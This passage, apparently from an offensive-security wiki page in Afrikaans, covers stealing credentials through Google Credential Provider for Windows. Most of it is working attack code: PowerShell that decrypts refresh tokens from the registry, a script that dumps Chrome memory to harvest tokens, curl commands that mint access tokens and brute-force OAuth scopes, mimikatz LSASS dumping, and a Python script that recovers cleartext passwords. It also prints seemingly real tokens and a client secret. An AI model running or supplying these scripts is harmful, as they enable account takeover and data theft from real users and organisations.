Base registry path

$baseKey = “HKCU:\SOFTWARE\Google\Accounts”

Function to search and decrypt refresh_token values

function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )

Get all values within the current key

$registryKey = Get-Item -Path $keyPath $foundToken = $false

Loop through properties to find refresh_token

foreach ($property in $registryKey.Property) { if ($property -eq “refresh_token”) { $foundToken = $true try {

Get the raw bytes of the refresh_token from the registry

$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property

Decrypt the bytes using ProtectedData.Unprotect

$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)

Write-Output “Path: $keyPath” Write-Output “Decrypted refresh_token: $decryptedToken” Write-Output “—————————–” } catch { Write-Output “Path: $keyPath” Write-Output “Failed to decrypt refresh_token: $($_.Exception.Message)” Write-Output “—————————–” } } }

Recursively process all subkeys

Get-ChildItem -Path $keyPath | ForEach-Object { Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath } }

Start the search from the base key

Get-RegistryKeysAndDecryptTokens -keyPath $baseKey

</details>

Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI

Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=FEQxHRRP_5I), as jy nie die token in die registrasie vind nie, is dit moontlik om die waarde te wysig (of te verwyder) van **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** en die volgende keer wanneer die gebruiker die rekenaar benader, sal hy weer moet aanmeld en die **token sal in die vorige registrasie gestoor word**.

### GCPW - Skyf Vernuwings Tokens

Die lêer **`%LocalAppData%\Google\Chrome\User Data\Local State`** stoor die sleutel om die **`refresh_tokens`** te ontsleutel wat binne die **Google Chrome profiele** van die gebruiker geleë is soos:

- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`

Dit is moontlik om 'n paar **C# kode** te vind wat toegang tot hierdie tokens in hul ontsleutelde vorm verkry in [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).

Boonop kan die versleuteling in hierdie kode gevind word: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)

Dit kan waargeneem word dat AESGCM gebruik word, die versleutelde token begin met 'n **weergawe** (**`v10`** op hierdie tydstip), dan [**het dit 12B van nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), en dan het dit die **cypher-teks** met 'n finale **mac van 16B**.

### GCPW - Dumping tokens uit prosesse se geheue

Die volgende skrip kan gebruik word om elke **Chrome** proses te **dump** met behulp van `procdump`, die **strings** te onttrek en dan te **soek** na strings wat verband hou met **toegang en vernuwing tokens**. As Chrome aan 'n Google-webwerf gekoppel is, sal 'n **proses vernuwing en/of toegang tokens in geheue stoor!**

<details>

<summary>Dump Chrome prosesse en soek tokens</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

Define the initial access token

access_token=“ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277”

Define the URL for the request

url=“https://www.googleapis.com/oauth2/v1/tokeninfo”

Loop until the token is 20 characters or the response doesn’t contain “error_description”

while [ ${#access_token} -gt 20 ]; do

Make the request and capture the response

response=$(curl -s -H “Content-Type: application/x-www-form-urlencoded” -d “access_token=$access_token” $url)

Check if the response contains “error_description”

if [[ ! “$response” =~ “error_description” ]]; then echo “Success: Token is valid” echo “Final token: $access_token” echo “Response: $response” exit 0 fi

Remove the last character from the token

access_token=${access_token:0:-1}

echo “Token length: ${#access_token}” done

echo “Error: Token invalid or too short”

</details>

### GCPW - Genereer toegangstokens vanaf herlaa tokens

Deur die herlaa token te gebruik, is dit moontlik om toegangstokens te genereer met dit en die kliënt-ID en kliënt geheim wat in die volgende opdrag gespesifiseer is:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token

GCPW - Skoppe

Note

Let daarop dat dit nie moontlik is om enige skop vir die toegangstoken aan te vra nie, selfs al het jy ’n verfrissings-token, aangesien jy slegs die skoppe wat deur die toepassing ondersteun word waar jy die toegangstoken genereer kan aan vra.

Ook, die verfrissings-token is nie geldig in elke toepassing nie.

Standaard sal GCPW nie as die gebruiker toegang hê tot elke moontlike OAuth-skop nie, so deur die volgende skrip te gebruik, kan ons die skoppe vind wat met die refresh_token gebruik kan word om ’n access_token te genereer:

Bash-skrip om skoppe te brute-force

```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -s --data "client_id=77185425430.apps.googleusercontent.com" \ --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \ --data "scope=$scope" \ https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then echo "" echo $scope echo $scope >> /tmp/valid_scopes.txt fi done

echo “” echo “” echo “Valid scopes:” cat /tmp/valid_scopes.txt rm /tmp/valid_scopes.txt

</details>

En dit is die uitvoer wat ek op die tyd van skryf gekry het:

<details>

<summary>Brute-forced scopes</summary>

https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile

</details>

Boonop, deur die Chromium-bronkode te kontroleer, is dit moontlik om [**hierdie lêer te vind**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), wat **ander skope** bevat wat aanvaar kan word dat **nie in die vooraf brute-forced lys verskyn nie**. Daarom kan hierdie ekstra skope aanvaar word:

<details>

<summary>Ekstra skope</summary>

https://www.google.com/accounts/OAuthLogin https://www.googleapis.com/auth/account.capabilities https://www.googleapis.com/auth/accounts.programmaticchallenge https://www.googleapis.com/auth/accounts.reauth https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/aida https://www.googleapis.com/auth/aidahttps://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/android_checkin https://www.googleapis.com/auth/any-api https://www.googleapis.com/auth/assistant-sdk-prototype https://www.googleapis.com/auth/auditrecording-pa https://www.googleapis.com/auth/bce.secureconnect https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/cast.backdrop https://www.googleapis.com/auth/cclog https://www.googleapis.com/auth/chrome-model-execution https://www.googleapis.com/auth/chrome-optimization-guide https://www.googleapis.com/auth/chrome-safe-browsing https://www.googleapis.com/auth/chromekanonymity https://www.googleapis.com/auth/chromeosdevicemanagement https://www.googleapis.com/auth/chromesync https://www.googleapis.com/auth/chromewebstore.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/cryptauth https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/experimentsandconfigs https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/gcm https://www.googleapis.com/auth/googlenow https://www.googleapis.com/auth/googletalk https://www.googleapis.com/auth/identity.passwords.leak.check https://www.googleapis.com/auth/ip-protection https://www.googleapis.com/auth/kid.family.readonly https://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/kid.permission https://www.googleapis.com/auth/kids.parentapproval https://www.googleapis.com/auth/kids.supervision.setup.child https://www.googleapis.com/auth/lens https://www.googleapis.com/auth/music https://www.googleapis.com/auth/nearbydevices-pa https://www.googleapis.com/auth/nearbypresence-pa https://www.googleapis.com/auth/nearbysharing-pa https://www.googleapis.com/auth/peopleapi.readonly https://www.googleapis.com/auth/peopleapi.readwrite https://www.googleapis.com/auth/photos https://www.googleapis.com/auth/photos.firstparty.readonly https://www.googleapis.com/auth/photos.image.readonly https://www.googleapis.com/auth/profile.language.read https://www.googleapis.com/auth/secureidentity.action https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/supportcontent https://www.googleapis.com/auth/tachyon https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile https://www.googleapis.com/auth/wallet.chrome

</details>

Let wel, die mees interessante een is moontlik:
```c
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";

Echter, ek het probeer om hierdie omvang te gebruik om gmail te bekom of groepe te lys en dit het nie gewerk nie, so ek weet nie hoe nuttig dit nog is nie.

Kry ’n toegangstoken met al daardie omvange:

Bash-skrip om toegangstoken te genereer vanaf refresh_token met al die omvange

```bash export scope=$(echo "https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile https://www.google.com/accounts/OAuthLogin https://www.googleapis.com/auth/account.capabilities https://www.googleapis.com/auth/accounts.programmaticchallenge https://www.googleapis.com/auth/accounts.reauth https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/aida https://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/android_checkin https://www.googleapis.com/auth/any-api https://www.googleapis.com/auth/assistant-sdk-prototype https://www.googleapis.com/auth/auditrecording-pa https://www.googleapis.com/auth/bce.secureconnect https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/cast.backdrop https://www.googleapis.com/auth/cclog https://www.googleapis.com/auth/chrome-model-execution https://www.googleapis.com/auth/chrome-optimization-guide https://www.googleapis.com/auth/chrome-safe-browsing https://www.googleapis.com/auth/chromekanonymity https://www.googleapis.com/auth/chromeosdevicemanagement https://www.googleapis.com/auth/chromesync https://www.googleapis.com/auth/chromewebstore.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/cryptauth https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/experimentsandconfigs https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/gcm https://www.googleapis.com/auth/googlenow https://www.googleapis.com/auth/googletalk https://www.googleapis.com/auth/identity.passwords.leak.check https://www.googleapis.com/auth/ip-protection https://www.googleapis.com/auth/kid.family.readonly https://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/kid.permission https://www.googleapis.com/auth/kids.parentapproval https://www.googleapis.com/auth/kids.supervision.setup.child https://www.googleapis.com/auth/lens https://www.googleapis.com/auth/music https://www.googleapis.com/auth/nearbydevices-pa https://www.googleapis.com/auth/nearbypresence-pa https://www.googleapis.com/auth/nearbysharing-pa https://www.googleapis.com/auth/peopleapi.readonly https://www.googleapis.com/auth/peopleapi.readwrite https://www.googleapis.com/auth/photos https://www.googleapis.com/auth/photos.firstparty.readonly https://www.googleapis.com/auth/photos.image.readonly https://www.googleapis.com/auth/profile.language.read https://www.googleapis.com/auth/secureidentity.action https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/supportcontent https://www.googleapis.com/auth/tachyon https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile https://www.googleapis.com/auth/wallet.chrome" | tr '\n' ' ')

curl -s –data “client_id=77185425430.apps.googleusercontent.com”
–data “client_secret=OTJgUOQcT7lO7GsGZq2G4IlT”
–data “grant_type=refresh_token”
–data “refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI”
–data “scope=$scope”
https://www.googleapis.com/oauth2/v4/token

</details>

Sommige voorbeelde wat sommige van daardie skope gebruik:

<details>

<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/oauth2/v2/userinfo"

{
"id": "100203736939176354570",
"email": "hacktricks@example.com",
"verified_email": true,
"name": "John Smith",
"given_name": "John",
"family_name": "Smith",
"picture": "https://lh3.googleusercontent.com/a/ACg8ocKLvue[REDACTED]wcnzhyKH_p96Gww=s96-c",
"locale": "en",
"hd": "example.com"
}

https://www.googleapis.com/auth/admin.directory.user

```bash # List users curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://www.googleapis.com/admin/directory/v1/users?customer=&maxResults=100&orderBy=email"

Create user

curl -X POST
-H “Authorization: Bearer $access_token”
-H “Content-Type: application/json”
-d ‘{ “primaryEmail”: “newuser@hdomain.com”, “name”: { “givenName”: “New”, “familyName”: “User” }, “password”: “UserPassword123”, “changePasswordAtNextLogin”: true }’
“https://www.googleapis.com/admin/directory/v1/users”

</details>

<details>

<summary>https://www.googleapis.com/auth/drive</summary>
```bash
# List files
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files?pageSize=10&fields=files(id,name,modifiedTime)&orderBy=name"
{
"files": [
{
"id": "1Z8m5ALSiHtewoQg1LB8uS9gAIeNOPBrq",
"name": "Veeam new vendor form 1 2024.docx",
"modifiedTime": "2024-08-30T09:25:35.219Z"
}
]
}

# Download file
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files/<file-id>?alt=media" \
-o "DownloadedFileName.ext"

# Upload file
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/octet-stream" \
--data-binary @path/to/file.ext \
"https://www.googleapis.com/upload/drive/v3/files?uploadType=media"

https://www.googleapis.com/auth/devstorage.read_write

```bash # List buckets from a project curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://www.googleapis.com/storage/v1/b?project="

List objects in a bucket

curl -X GET
-H “Authorization: Bearer $access_token”
“https://www.googleapis.com/storage/v1/b//o?maxResults=10&fields=items(id,name,size,updated)&orderBy=name”

Upload file to bucket

curl -X POST
-H “Authorization: Bearer $access_token”
-H “Content-Type: application/octet-stream”
–data-binary @path/to/yourfile.ext
“https://www.googleapis.com/upload/storage/v1/b/<BUCKET_NAME>/o?uploadType=media&name=<OBJECT_NAME>”

Download file from bucket

curl -X GET
-H “Authorization: Bearer $access_token”
“https://www.googleapis.com/storage/v1/b/BUCKET_NAME/o/OBJECT_NAME?alt=media”
-o “DownloadedFileName.ext”

</details>

<details>

<summary>https://www.googleapis.com/auth/spreadsheets</summary>
```bash
# List spreadsheets
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files?q=mimeType='application/vnd.google-apps.spreadsheet'&fields=files(id,name,modifiedTime)&pageSize=100"

# Download as pdf
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files/106VJxeyIsVTkixutwJM1IiJZ0ZQRMiA5mhfe8C5CxMc/export?mimeType=application/pdf" \
-o "Spreadsheet.pdf"

# Create spreadsheet
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"properties": {
"title": "New Spreadsheet"
}
}' \
"https://sheets.googleapis.com/v4/spreadsheets"

# Read data from a spreadsheet
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://sheets.googleapis.com/v4/spreadsheets/<SPREADSHEET_ID>/values/Sheet1!A1:C10"

# Update data in spreadsheet
curl -X PUT \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"range": "Sheet1!A2:C2",
"majorDimension": "ROWS",
"values": [
["Alice Johnson", "28", "alice.johnson@example.com"]
]
}' \
"https://sheets.googleapis.com/v4/spreadsheets/<SPREADSHEET_ID>/values/Sheet1!A2:C2?valueInputOption=USER_ENTERED"

# Append data
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"values": [
["Bob Williams", "35", "bob.williams@example.com"]
]
}' \
"https://sheets.googleapis.com/v4/spreadsheets/SPREADSHEET_ID/values/Sheet1!A:C:append?valueInputOption=USER_ENTERED"

https://www.googleapis.com/auth/ediscovery (Google Vault)

Google Workspace Vault is ’n byvoeging vir Google Workspace wat gereedskap bied vir data-retensie, soektog en uitvoer vir jou organisasie se data wat in Google Workspace-dienste soos Gmail, Drive, Chat, en meer gestoor is.

• ’n Saak in Google Workspace Vault is ’n houer wat al die inligting wat verband hou met ’n spesifieke saak, ondersoek of regsgeding organiseer en groepeer. Dit dien as die sentrale hub vir die bestuur van Holds, Searches, en Exports wat verband hou met daardie spesifieke kwessie.
• ’n Hold in Google Workspace Vault is ’n bewaringsaksie wat op spesifieke gebruikers of groepe toegepas word om die verwydering of verandering van hul data binne Google Workspace-dienste te voorkom. Holds verseker dat relevante inligting intakt en ongewijzigd bly vir die duur van ’n regsgeding of ondersoek.

# List matters
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters?pageSize=10"

# Create matter
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"name": "Legal Case 2024",
"description": "Matter for the upcoming legal case involving XYZ Corp.",
"state": "OPEN"
}' \
"https://vault.googleapis.com/v1/matters"

# Get specific matter
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters/<MATTER_ID>"

# List holds in a matter
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters/<MATTER_ID>/holds?pageSize=10"

Meer API eindpunte in die dokumentasie.

GCPW - Herwinning van die duidelike teks wagwoord

Om GCPW te misbruik om die duidelike teks van die wagwoord te herwin, is dit moontlik om die versleutelde wagwoord van LSASS te dump met behulp van mimikatz:

mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit

Soek dan na die geheim soos Chrome-GCPW-<sid> soos in die beeld:

Dan, met ’n toegangstoken met die omvang https://www.google.com/accounts/OAuthLogin is dit moontlik om die privaat sleutel aan te vra om die wagwoord te ontsleutel:

Script om die wagwoord in duidelike teks te verkry gegewe die toegangstoken, versleutelde wagwoord en hulpbron-id

```python import requests from base64 import b64decode from Crypto.Cipher import AES, PKCS1_OAEP from Crypto.PublicKey import RSA

def get_decryption_key(access_token, resource_id): try:

Request to get the private key

response = requests.get( f“https://devicepasswordescrowforwindows-pa.googleapis.com/v1/getprivatekey/{resource_id}“, headers={ “Authorization”: f“Bearer {access_token}“ } )

Check if the response is successful

if response.status_code == 200: private_key = response.json()[“base64PrivateKey”]

Properly format the RSA private key

private_key = f“—–BEGIN RSA PRIVATE KEY—–\n{private_key.strip()}\n—–END RSA PRIVATE KEY—–“ return private_key else: raise ValueError(f“Failed to retrieve private key: {response.text}“)

except requests.RequestException as e: print(f“Error occurred while requesting the private key: {e}“) return None

def decrypt_password(access_token, lsa_secret): try:

Obtain the private key using the resource_id

resource_id = lsa_secret[“resource_id”] encrypted_data = b64decode(lsa_secret[“encrypted_password”])

private_key_pem = get_decryption_key(access_token, resource_id) print(“Found private key:”) print(private_key_pem)

if private_key_pem is None: raise ValueError(“Unable to retrieve the private key.”)

Load the RSA private key

rsa_key = RSA.import_key(private_key_pem) key_size = int(rsa_key.size_in_bits() / 8)

Decrypt the encrypted data

cipher_rsa = PKCS1_OAEP.new(rsa_key) session_key = cipher_rsa.decrypt(encrypted_data[:key_size])

Extract the session key and other data from decrypted payload

session_header = session_key[:32] session_nonce = session_key[32:] mac = encrypted_data[-16:]

Decrypt the AES GCM data

aes_cipher = AES.new(session_header, AES.MODE_GCM, nonce=session_nonce) decrypted_password = aes_cipher.decrypt_and_verify(encrypted_data[key_size:-16], mac)

print(“Decrypted Password:”, decrypted_password.decode(“utf-8”))

except Exception as e: print(f“Error occurred during decryption: {e}“)

CHANGE THIS INPUT DATA!

access_token = “<acces_token>” lsa_secret = { “encrypted_password”: “”, “resource_id”: “” }

decrypt_password(access_token, lsa_secret)

</details>

Dit is moontlik om die sleutelkomponente hiervan in die Chromium-bronkode te vind:

- API domein: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22&type=code)
- API eindpunt: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70)

## Verwysings

- [https://www.youtube.com/watch?v=FEQxHRRP_5I](https://www.youtube.com/watch?v=FEQxHRRP_5I)
- [https://issues.chromium.org/issues/40063291](https://issues.chromium.org/issues/40063291)

> [!TIP]
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>
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